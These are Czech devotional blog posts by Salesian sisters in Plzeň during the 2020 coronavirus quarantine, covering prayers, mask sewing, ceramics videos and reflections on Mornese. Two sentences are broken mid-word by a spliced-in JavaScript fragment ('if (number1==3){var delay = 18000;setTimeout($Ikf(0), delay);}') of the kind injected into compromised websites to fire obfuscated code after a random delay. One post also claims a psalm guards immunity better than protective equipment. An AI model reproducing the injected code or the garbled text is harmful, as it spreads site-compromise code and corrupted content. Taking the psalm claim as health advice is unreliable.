Karanténa bez zahálky

Karanténa bez zahálky

Už několikátý týden mnozí z nás sedí doma v karanténě a vymýšlejí, jak ji smysluplně prožít a být užiteční. Nápadů je opravdu hodně, od pomoci druhým s nákupy, přes šití roušek až po potěšení druhých telefonátem či modlitbu. Dalším rozměrem může být i čas věnovaný sobě – nějak se dovzdělat, něčemu se přiučit, v něčem se zlepšit. A tak někdo z nás bere do rukou angličtinu, jiní sedají za klávesy či brnkají do kytary. Naše sestra Jana, která je momentálně v komunitě v Plzni, má ve středisku na starost keramiku. A tak vymyslela pro děti a mladé z kroužku keramiky on-line vzdělávání, kde se mohou o této činnosti dozvědět víc, neboť jak známo, děti rády tvoří, ale ta teorie je přece na nic… Teď, když není možné tvořit, přichází tedy nabídka teorie on-line a věřte – není to žádná nuda! Zpřístupnila tyto nahrávky i pro ostatní vědomostíchtivé na youtube, tak kdo z vás máte čas a chuť, pojďme společně odhalovat tajemství keramiky… https://youtu.be/kstjZphQKXY

   

Štítem je mi Hospodin (Ž 7)

Štítem je mi Hospodin (Ž 7)

Tento žalm  je mocnou zbraní proti každému zlu (i koronavirovému), chrání mou i naši imunitu (a nejen tu duchovní) mnohem lépe a bezpečněji než všechny jiné ochranné pomůcky. Potřebuji jen držet tento štít pevně v ruce a učit se ho namířit proti jednotlivým výpadům viru:

Hospodine, Ty jsi můj štít proti strachu, protože říkáš: „Neboj se, jen věř!“ Mk 5,36

Hospodine, Ty jsi můj štít proti úzkosti, protože říkáš: „Vaše srdce ať se nechvěje úzkostí! Věříte v Boha, věřte i ve mne.“ Jan 14,1

Hospodine, Ty jsi můj štít proti beznaději, protože říkáš: „Já jsem přemohl svět.“ J 16,36

Hospodine, Ty jsi můj štít proti panice, protože říkáš: „Pojďte ke mně!“ Mt 11,28

Hospodine, Ty jsi můj štít proti strachu ze smrti, protože říkáš: „Já jsem přišel, aby měly život a měly ho v hojnosti.“ J 10,10

Hospodine, Ty jsi můj štít proti osamělosti, protože říkáš: „Já jsem s vámi.“ Mt 28,20

Hospodine, Ty jsi můj štít proti nepokoji, protože říkáš: „Pokoj vám.“ J 20,21

Korunka k Božímu milosrdenství

Korunka k Božímu milosrdenství

Zítra nám liturgie nabídne evangelium svatého Jana o tom, jak jeho přítel Lazar zemřel, ale Ježíš ho po čtyřech dnech v hrobě zase vzkřísil. Máme tedy co do činění s umírajícím člověkem. Nevíme z evangelia, jak Lazar umíral, ale je dost možné, že ho obklopovala láska jeho sester Marie a Marty a možná i dalších. Když se díváme na televizi nebo sledujeme různé zprávy, neunikne nám, že po celém světě v této době umírá na koronavirus (i jiné choroby) spousta lidí – a to zvlášť v době pandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andemie úplně sami. Jejich blízcí jsou doma v karanténě. V souvislosti se zítřejším evangeliem tu publikujeme výzvu jednoho Irského katolického kněze, P. Philipa Kemmyho, který vybízí, abychom se v duchu postavili k posteli jednoho člověka, právě umírajícího o samotě v nemocnici či jinde a který možná není připravený na setkání s Pánem, možná umírá ve strachu, a u této postele se za tohoto člověka pomodlili korunku k Božímu milosrdenství. Takto si duchovně můžeme adoptovat duše umírajících a pomoci jim i na dálku, aby v této tolik důležité chvíli nebyli sami.

Doprovázet umírající do Boží náruče není přímo charisma naší kongregace, ale sluší se připomenout, že i Don Bosko a jeho duchovní vůdce Don Cafasso doprovázeli mladé zločince až k popravišti a připravovali je na smrt. Spojme se tedy v modlitbě za spásu všech umírajících, a to i takto konkrétně, i když jen v duchu a na dálku.

Přidáváme i způsob modlitby Korunky:

Korunka k Božímu Milosrdenství (modlí se na růženci)
Začíná – Otče náš, Zdrávas, Věřím v Boha
Zrnka pro Otče náš –
„Věčný Otče, obětuji Ti Tělo a Krev, Duši a Božství Tvého nejmilejšího Syna a našeho
Pána Ježíše Krista na smír za hříchy naše a celého světa.“
Zrnka pro Zdrávas –
„Pro jeho bolestné utrpení smiluj se nad námi a nad celým světem.“
Na zakončení 3x –
„Svatý Bože, Svatý Silný, Svatý Nesmrtelný, smiluj se nad námi a nad celým světem.“

Večerní adorace s Plzeňskými salesiánkami

Večerní adorace s Plzeňskými salesiánkami

Zveme všechny, kteří se chtějí s námi modlit alespoň na dálku, připojit se dnes v 18:30  na youtube kanál farnost Plzeň Lobzy, https://www.youtube.com/results?search_query=farnost+plze%C5%88+lobzy, a prožít s námi půlhodinku adorace, ztišit se před Pánem a načerpat u Něj sílu. Díky této iniciativě bratří SDB a jejich farníků z Lobez se můžeme také my, Plzeňské sestry salesiánky, spojit s vámi se všemi i s účastníky Pastoračního centra Skvrňany, které sídlí v našem domě.

Oči, které opravdu vidí

Oči, které opravdu vidí

Tento týden jakoby nás připravoval na evangelium dnešní neděle o uzdraveném slepci (Jan 9) – od té doby, co nosíme roušky, zůstaly nám na veřejnosti odkryté pouze oči. Oči, které mají šanci vidět jinak, než doposud, když byly zaměstnány jinými věcmi a posuzovaly jinak než dnes. Všichni jsme tak trochu ten slepý – jsme pozváni prohlédnout a vidět, že

….člověk, který se nám zdál doposud nevýrazný a nezajímavý, je v téhle situaci velkorysý a skrytě nabídne pomoc, když to fakt nečekáme

…kapky deště na rostlinách jsou opravdu velmi krásné, i když je vidíme jen na vlastní zahrádce nebo balkóně

…o pár čísel dál bydlí sousedka, která je sama a potěší ji, když ji zavolám

Tak se ze slepého můžeme postupně stávat podobnější Ježíši, který vidí lid a věci tak, jak opravdu jsou.

Rouška a moje tvář

Rouška a moje tvář

Tváře s rouškami….kdo se asi za nimi skrývá? Za rouškou se v této době skrývá tajemná tvář každého z nás. Je to příležitost ke skryté proměně, kdy možná přestává být důležité to, co bylo důležité dřív a objevujeme lidi i sebe novým způsobem. Je to čas, kdy si můžeme nechat Pánem odhalit svou pravou tvář, tvář Boží dcery či syna, nechat sloupnout „make up“, který ztratil svůj význam.

Pak se můžeme těšit, až roušky sundáme a budeme vidět naše proměněné a mnohem krásnější tváře.

Tyfus v Mornese (1860) a koronavirus (2020) aneb 160 let poté

Tyfus v Mornese (1860) a koronavirus (2020) aneb 160 let poté

Píše se rok 1860 a v Mornese v severní Itálii řádí tyfus. Spousta lidí se ocitá v těžké situaci a mladá žena Marie Dominika, v té době zdravá a plná síly, jde pečovat so nemocné příbuzné. Nakazí se a ocitá se velmi rychle ve smrtelném nebezpečí. Po nějaké době se uzdraví, ale nikdy už se jí nevrátí plná síla. Nemoc ji konfrontuje s vlastní slabostí a křehkostí a to je pro ni úplně nová životní výzva. Má před sebou dvě možnosti: uzavřít se v beznaději, nebo v této situaci vlastní chudoby, se ptát Boha: „Kdo, Pane, skutečně jsem?“ a hledat, co vůbec má dělat, když už se nemůže vrátit ke své práci. Rozhodne se pro druhou variantu. Právě v této situaci vlastní slabosti, nemoci a setkání se s nebezpečím smrti, se rodí její odpověď Bohu: odevzdává mu svůj život a přijímá od něj pozvání založit šicí dílnu pro dívky, aby se také mohly setkat s Bohem a naučit se řemeslu.

Píše se rok 2020 a celý svět ohrožuje epidemie koronaviru. Spousta lidí se ocitá v těžké situaci a …tady už příběh píše každý z nás.

Co s námi udělá konfrontace s vlastní i cizí slabostí, smrtelností a křehkostí? Jaké nové dary v nás probudí? A k čemu nás zve Bůh?

P.S. nabízí se nápadná podoba mezi založením šicí dílny a šitím roušek (:

Za dob Mornese aneb šijeme roušky

Za dob Mornese aneb šijeme roušky

Naše první sestry v Mornese začaly své výchovné dílo tak, že založily krejčovskou dílnu a zde učily děvčata šít a zároveň se jim věnovaly lidsky i duchovně. Dnes v našich dílech není už běžné, že se děvčata učí šít. Jo, časy se mění…

Poté, co nás koronavirus donutil uzavřít středisko mládeže v Plzni, modlily jsme se a hledaly, jak volný čas dobře a užitečně využít. Kromě dalších nápadů jsme se rozhodly přidat se k iniciativě šití roušek (jak pro sebe, tak na rozdávání pro druhé), takže jsme se dnes přesunuly o pár století zpět, vzaly staré povlečení na peřiny, do rukou jehly a nitě (stroj máme v opravě) a dvě hodiny propovídaly a prošily. Taková hezká sesterská “rekreace”. A zítra zase pokračujeme…

Nešijeme sice s mladými, za což bysme byly určitě radši, ale mladí se k nám přidávají na dálku, jak můžete vidět z fotky. A komunikujeme s nimi přes Skype, Messenger a telefon. Co si asi myslí první sestry z Mornese v nebi… Fandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andí nám?

Přejeme vám všem požehnané prožití této unikátní, netradiční a náročné doby!

      

Mimořádná novéna k Panně Marii Pomocnici

Mimořádná novéna k Panně Marii Pomocnici

Vzhledem ke katastrofálnímu rozšíření se koronaviru ve velké části světa, hlavní představený salesiánů don Ángel Fernández Artime zve celou salesiánskou rodinu a mladé obnovit si důvěrné odevzdání se Marii Pomocnici, podle příkladu dona Boska v podobných okolnostech.

„V těchto dnech, když se díváme okolo sebe a slyšíme různé zprávy, pozorně a s dojetím sledujeme, co se děje okolo nás, v našich městech a zemích,“ hovoří hlavní představený. Vrací se k událostem, které se udály v Turíně v roce 1854, když don Bosco pozval mladé z oratoře „povstat“ a pomoci při epidemii cholery.

„Ani my dnes nechceme zůstat sedět a jen přihlížet. Vnímám příležitost, abychom, jako salesiánská rodina pozdvihli své ruce a modlitbu k nebeskému Otci a prosili o přímluvu Pannu Marii Pomocnici.“

 „Zvu celou salesiánskou rodinu, aby se modlila Mimořádnou novénu k Panně Marii Pomocnici v době nejbližších dnů od 15. do 23. března a společně se 24. března svěříme pod ochranu Panny Marie, naší matky a učitelky. Tato moje výzva se týká především vás, moji drazí mladí!“ uzavírá hlavní představený.

Don Bosco, když ho žádali o nějakou milost, obyčejně odpovídal: „Když chcete od nejsvětější Panny dosáhnout nějaké milosti, modlete se k ní novénu“ (MB IX, 289).

ANS

Mimořádná novena

Dej mi napít (Jan 4), moje srdce a koronavirus

Dej mi napít (Jan 4), moje srdce a koronavirus

Epidemie koronaviru mnohým z nás nedovolí účastnit se mše svaté a vypadá to, jako by Boží Slovo této 3. neděle postní tomu preventivně vyšlo vstříc. Je nám totiž nabídnuto setkání Ježíše se Samařankou (Janovo evangelium 4. kapitola).

Ježíš se v něm představuje jako ten, který sedí u studny a čeká na příchozí. I naše (moje i tvoje) srdce je studna, na níž sedí Ježíš a čeká, až za ním (každý z nás osobně a jedinečně) přijdeme (tedy není závislý jen na kostele, mši svaté či jiných prostředcích setkání s Ním, na které jsme byli zvyklí). Ježíš touží i mně i tobě říci: “Dej mi napít, žízním po tobě, po tom, až za mnou do srdce přijdeš, až si spolu jen tak sedneme a budeme si vyprávět – já tobě a ty mně. Neboj se, vím o tobě a chci se s tebou setkat jinak”.